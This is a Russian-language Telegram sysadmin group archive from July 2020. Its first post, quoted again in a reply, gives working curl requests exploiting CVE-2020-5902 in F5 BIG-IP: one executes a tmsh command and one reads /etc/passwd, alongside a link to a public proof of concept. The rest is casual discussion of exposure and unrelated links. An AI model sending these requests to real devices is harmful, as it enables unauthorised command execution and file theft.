В рейтинге участвует:

групп:

каналов:

Виртуальный сервер на SSD - недорого!

Аренда выделенных и виртуальных серверов (VDS/VPS), хостинг, аренда IP-адресов, администрирование, круглосуточная поддержка

qwarta.ru подробнее

Резервное копирование с проверкой на вирусы!!!

Удобный сервис создания резервных копий на любой сервер сети интернет. Отслеживайте изменения, проверяйте на вирусы. Надежно защитите свой бизнес!

go.backupland.com

Выбираете сервер? Любая конфигурация на заказ!

Аренда физических серверов любых конфигураций под любые запросы - 1С бухгалтерия, игровые сервера, нагруженные проекты, интернет-магазины!

qwarta.ru подробнее

Size: a a a

uptime.community

357 membersпожаловаться на группу
2020 July 06

S

Stanislav in uptime.community
CVE-2020-5902 / TMUI RCE vulnerability / F5 BIG-IP RCE

RCE:
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Read File:
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd’

Другие примеры:
https://github.com/yassineaboukir/CVE-2020-5902
GitHub
yassineaboukir/CVE-2020-5902
Proof of concept for CVE-2020-5902. Contribute to yassineaboukir/CVE-2020-5902 development by creating an account on GitHub.
источник
12:00пожаловаться#1

VR

Vadim Rybalko in uptime.community
Stanislav
CVE-2020-5902 / TMUI RCE vulnerability / F5 BIG-IP RCE

RCE:
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Read File:
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd’

Другие примеры:
https://github.com/yassineaboukir/CVE-2020-5902
GitHub
yassineaboukir/CVE-2020-5902
Proof of concept for CVE-2020-5902. Contribute to yassineaboukir/CVE-2020-5902 development by creating an account on GitHub.
Таки что, эти развлекухи пашут только со стороны порта управления или с портов дата-плана тоже доступны?
источник
16:42пожаловаться#2

S

Stanislav in uptime.community
Вадим, а вы ссылку то в номере CVE нажимали в тексте сообщения? Там все есть.
источник
16:44пожаловаться#3

VR

Vadim Rybalko in uptime.community
Неа, обед дело короткое )
источник
16:45пожаловаться#4

S

Stanislav in uptime.community
Нажмите, не пожалеете
источник
16:45пожаловаться#5

S

Stanislav in uptime.community
В самом начале сообщения
источник
16:45пожаловаться#6

VR

Vadim Rybalko in uptime.community
Настолько эпично? У акционеров F5 с самого начала финансовый год явно не задался...
источник
16:46пожаловаться#7

S

Stanislav in uptime.community
источник
16:46пожаловаться#8

S

Stanislav in uptime.community
источник
16:46пожаловаться#9

S

Stanislav in uptime.community
Vadim Rybalko
Настолько эпично? У акционеров F5 с самого начала финансовый год явно не задался...
Я промолчу
источник
16:47пожаловаться#10

VR

Vadim Rybalko in uptime.community
Вроде как только порт управления подвержен? Никто же в здравоом уме порты управления голой жопой в инет не выставляет...
источник
16:47пожаловаться#11

S

Stanislav in uptime.community
источник
16:48пожаловаться#12

VR

Vadim Rybalko in uptime.community
А я по ссылке на гитхаб читал.
источник
16:49пожаловаться#13

S

Stanislav in uptime.community
Там ДВЕ ссылки в сообщении ))
источник
16:49пожаловаться#14

VR

Vadim Rybalko in uptime.community
Да, уже заметил
источник
16:50пожаловаться#15

S

Stanislav in uptime.community
Одна в начале (официальная), вторая - в конце, для тех кто хочет все сжечь нахер
источник
16:50пожаловаться#16

VR

Vadim Rybalko in uptime.community
Тогда это похоже на багу в каталисте, для самоналивки иоса
источник
16:50пожаловаться#17
2020 July 07

C

Constantine in uptime.community
https://twitter.com/memenetes/status/1280245330597089281
Twitter
memenetes
Looking forward to reading the book, Yam
источник
13:30пожаловаться#18
2020 July 08

S

Stanislav in uptime.community
https://www.cnews.ru/news/top/2020-07-06_putin_rasporyadilsya_dat
CNews.ru
Путин раздал кучу подарков ИТ-отрасли и интернет-провайдерам
Владимир Путин поручил Правительству проработать вопросы предоставления дата-центрам льготного доступа на рынок...
источник
10:02пожаловаться#19

S

Stanislav in uptime.community
Constantine
https://twitter.com/memenetes/status/1280245330597089281
Twitter
memenetes
Looking forward to reading the book, Yam
🔥
источник
10:02пожаловаться#20